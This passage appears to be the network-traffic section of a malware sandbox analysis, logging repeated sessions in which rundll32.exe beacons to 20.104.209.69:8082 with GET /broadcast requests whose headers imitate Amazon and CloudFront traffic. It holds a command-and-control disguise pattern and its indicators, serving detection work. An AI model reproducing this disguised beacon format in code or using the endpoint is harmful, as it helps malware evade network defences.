Jan 8, 2023 16:08:57.443551064 CET	1241	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:57.561995983 CET	1242	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:48 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.6	49974	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:57.814822912 CET	1244	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:57.934355021 CET	1245	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:49 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.6	49975	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:58.202548981 CET	1248	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:58.321518898 CET	1248	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:49 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.6	49976	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:58.585253954 CET	1251	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:58.704782009 CET	1251	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:49 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.6	49977	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:58.971431971 CET	1254	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:59.089721918 CET	1254	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:50 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.6	49978	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:59.349653959 CET	1257	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:59.467892885 CET	1258	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:50 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	49726	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:09.942250013 CET	445	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:10.060096025 CET	445	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:01 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.6	49979	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:59.721836090 CET	1260	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:59.840317011 CET	1261	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:51 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.6	49980	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:00.100120068 CET	1264	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:00.600455046 CET	1264	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:51 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.6	49981	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:00.871500969 CET	1267	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:00.989634037 CET	1267	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:52 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.6	49982	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:01.352119923 CET	1270	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:01.470716953 CET	1270	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:52 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.6	49983	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:01.766978979 CET	1273	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:01.885299921 CET	1273	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:53 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.6	49984	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:02.869141102 CET	1276	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:02.990329981 CET	1277	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:54 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.6	49985	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:04.339037895 CET	1279	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:04.461560965 CET	1280	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:55 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.6	49986	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:04.803831100 CET	1283	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:04.922924995 CET	1283	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:56 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.6	49987	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:05.197628021 CET	1286	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:05.325917006 CET	1286	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:56 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.6	49988	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:05.573071957 CET	1289	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:05.692147970 CET	1289	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:56 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	49727	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:11.222239017 CET	448	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:11.339663029 CET	449	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:02 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.6	49989	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:05.982101917 CET	1292	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:06.102718115 CET	1293	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:57 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.6	49990	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:06.373748064 CET	1295	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:06.492661953 CET	1296	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:57 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.6	49991	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:06.738992929 CET	1298	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
